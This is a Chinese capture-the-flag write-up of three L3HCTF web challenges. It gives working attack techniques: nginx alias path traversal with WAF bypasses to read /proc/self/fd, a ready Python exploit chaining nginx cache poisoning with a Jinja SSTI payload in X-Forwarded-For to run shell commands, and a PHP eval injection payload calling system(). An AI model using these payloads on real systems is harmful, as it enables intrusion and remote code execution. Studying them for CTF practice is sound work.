# L3HCTF

来自 L3HCTF Writeup - 星盟安全团队

# gateway_advance

这道题用 lua (一个脚本语言) 配置了 ng

worker_processes 1;
events {
    use epoll;
    worker_connections 10240;
}
http {
    include mime.types;
    default_type text/html;
    access_log off;
    error_log /dev/null;
    sendfile on;
    init_by_lua_block {
        f = io.open("/flag", "r")
        f2 = io.open("/password", "r")
        flag = f:read("*all")
        password = f2:read("*all")
        f:close()
#此处只有 f:close (),但是没有 f2:close (),这意味着 password 可以通过 /proc/self/fd/<num > 读取(用于当前进程正在打开文件资源,通过符号链接)
        password = string.gsub(password, "[\n\r]", "")
        os.remove("/flag")
        os.remove("/password")
    }
 
    server {
        listen 80 default_server;
        location / {
            content_by_lua_block {
                ngx.say("hello, world!")
            }
        }
        location /static {
            alias /www/;
            access_by_lua_block {
                if ngx.var.remote_addr ~= "127.0.0.1" then
                    ngx.exit(403)
                end
            }
            add_header Accept-Ranges bytes;
        }
        location /download {
            access_by_lua_block {
                local blacklist = {"%.", "/", ";", "flag", "proc"}
                local args = ngx.req.get_uri_args()
#获取所有 url 参数,过滤./ 防止路径遍历,; 防止读取 URL 参数注入。proc 是 linux 目录,包含系统进程,内核信息
                for k, v in pairs(args) do
                    for _, b in ipairs(blacklist) do
                        if string.find(v, b) then
                            ngx.exit(403)
                        end
                    end
                end
            }
#上面这一块用于前置的检查
            add_header Content-Disposition "attachment; filename=download.txt";
#强制规范下载的文件名,后端的具体文件名不会暴露
            proxy_pass http://127.0.0.1/static$arg_filename;
#代理到后端目录,这里有个很明显的错误,static 后面没加 /, 导致直接拼接进去
            body_filter_by_lua_block {
                local blacklist = {"flag", "l3hsec", "l3hctf", "password", "secret", "confidential"}
                for _, b in ipairs(blacklist) do
                    if string.find(ngx.arg[1], b) then
                        ngx.arg[1] = string.rep("*", string.len(ngx.arg[1]))
                    end
                end
            }
#这里是过滤响应的内容,将响应中敏感的信息过滤,ngx.arg [1] 表示当前响应体,因为文件内容是分块传输的,需要处理每一块。rep 用于类似于 str_replace
        }
        location /read_anywhere {
            access_by_lua_block {
                if ngx.var.http_x_gateway_password ~= password then
                    ngx.say("go find the password first!")
                    ngx.exit(403)
                end
            }
            content_by_lua_block {
                local f = io.open(ngx.var.http_x_gateway_filename, "r")
                if not f then
                    ngx.exit(404)
                end
                local start = tonumber(ngx.var.http_x_gateway_start) or 0
                local length = tonumber(ngx.var.http_x_gateway_length) or 1024
                if length > 1024 * 1024 then
                    length = 1024 * 1024
                end
                f:seek("set", start)
                local content = f:read(length)
                f:close()
                ngx.say(content)
                ngx.header["Content-Type"] = "application/octet-stream"
            }
        }
    }
}

绕过第一个 waf:

漏洞点是 lua 自身的 ngx.req.get_uri_args (),nginx 本身对于传递的参数个数是没有限制的,但是

这个 ngx.req.get_uri_args 的参数上限默认是 100, 这一点通过官方文档就能发现

由于 static 设置的问题,我们可以直接构造 filename=../../../etc/passwd,实现任意文件读取,用种方法直接读取 fd:filename=../proc/self/fd/3~20 (一般而言一个进程开不了那么多文件,0 是 stdin,1 是 stdout,2 是 stderr)

绕过第二个 waf:

直接读取会被后面的 waf 过滤,可以通过单字符读取来绕过
在请求头中加入: Range: bytes=0~4

现在的问题在于,flag 文件已经被删除了,并且 f:close (),只能尝试扫描内存(/proc/self/maps)

proc/self/maps,虚拟内存映射表文件,用于实时展示虚拟内存空间的分区以及对于的物理资源:
1760251739514

# best_profile

先审计到一个可以注入的地方

1760252892340

PS: 这里非常离谱的虽然用正则匹配 ip,但是输出还是 last_ip

找到对应接口

1760252775440

而且

1763021201812

按理来说,使用 request.remote_addr 是没有办法控制这个值的,但是:
1763023471125

1763023525326

这使得原来不可控的部分可控起来,所以尝试直接使用 XFF:

1763023676450

没有用!再看看源代码。可以发现问题出在:
1763023729050

它是通过自身访问得到的,也就是说显示出来的,在正常情况下都会是 127.0.0.1,而没有其他值。再看看其他的文件:
1763023830971

正常 flask 题目是用不到中间件的,或者说绝大多数都不太可能用到。这说明它跟题目有关:
作为中间件,nginx 是有缓存的,这使得重复访问时有可能不会访问到实际的服务器,而是直接使用缓存。而且这个文件本身就有很多暗示:

1763024050009

这里不仅忽略了返回的缓存控制头,并且还设置了同一个 stati 缓存池,即使不知道缓存的作用也应该意识到这是有问题的:

然后问一问 ai 这一段的作用:
1763024284349

注意一下路由的名字:
1763024497285

缓存规则虽然本身是意在要加载的文件,但是如果我们注册了一个名叫 "az.js" 的用户呢?也是会被匹配到的并缓存的。

这样做其实也绕过了另一个限制:真正有漏洞的位于 ip_detail 路由,其内部直接访问 get_last_ip (),显然不可能是有登录的:
1763025373573

但是访问到缓存就没事了。

总之就是注册特定后缀的用户,并且注入 XFF 头,让 ng 缓存它:
现成 exp:

import requests
target = 'http://127.0.0.1'
headers = {
    "X-Forwarded-For": """{占位{ config.__class__.__init__.__globals__[request.args.os].popen(request.args.cmd).read() }}"""
}
username = "potatowo.js"
res = requests.post(f"{target}/register", data={"username": username, "password": username, "bio": username, "submit": "Submit"}, headers=headers, allow_redirects=False, verify=False)
print(res.text)
#注册用户
res = requests.post(f"{target}/login", data={"username": username, "password": username, "submit": "Submit"}, headers=headers, allow_redirects=False, verify=False)
cookies = res.cookies
print(res.text)
#登录
res = requests.get(f"{target}/get_last_ip/{username}", cookies=cookies, headers=headers, allow_redirects=False, verify=False)
print(res.text)
#尝试注入
res = requests.get(f"{target}/ip_detail/{username}?os=os&cmd=cat /flag", headers=headers, allow_redirects=False, verify=False)
print(res.text)
#这个注入 payload 作用就是在传入 os=os 时调用 os.popen () 执行 cmd 参数,对照看下 paylaod

# gogogo 出发喽

# 其他

# php4fun_challenge2

先看源码:

<?php
$str=@(string)$_GET['str'];
eval('$str="'.addslashes($str).'";');
echo "test";
?>

很显然是要 RCE,但是有几个 waf::

addslashes ():用于对特定字符转义,在前面添加反斜杠和 NULL 字符

php 中的单双引号是有区别的,单引号中的内容不会被解释,但是双引号会。这里的变量拼接是注意到 addslashes 之后是用 "" 包裹的(双引号内的单引也会被解释), 有以下规则:

$a='a';
echo "${a}bc";// 在 php5 之后可以在里面使用函数,方法,静态类变量,但是必须在其命名空间中才可以,等价于:
echo "{${a}}bc"

为了避免被过滤,我们嵌套一个 eval:

?str=${eval($_GET[1])}&1=system('whoami');

1763017706859

可以看到是可行的。

还有一个有趣的地方:
php 中存在可变变量,它允许你将它普通变量的值作为这个可变变量的变量名:

$a='hello';
$$a='world';
echo "$hello";// 等价于 echo "{$$a}", 或者 "${$a}"
当a为数组时:
${$a[1]}//$a [1] 作为变量名的变量
$$a[1]//$$a 数组中的第一个

有的文章说和这个有关,但是我看到后面发现其实没啥关系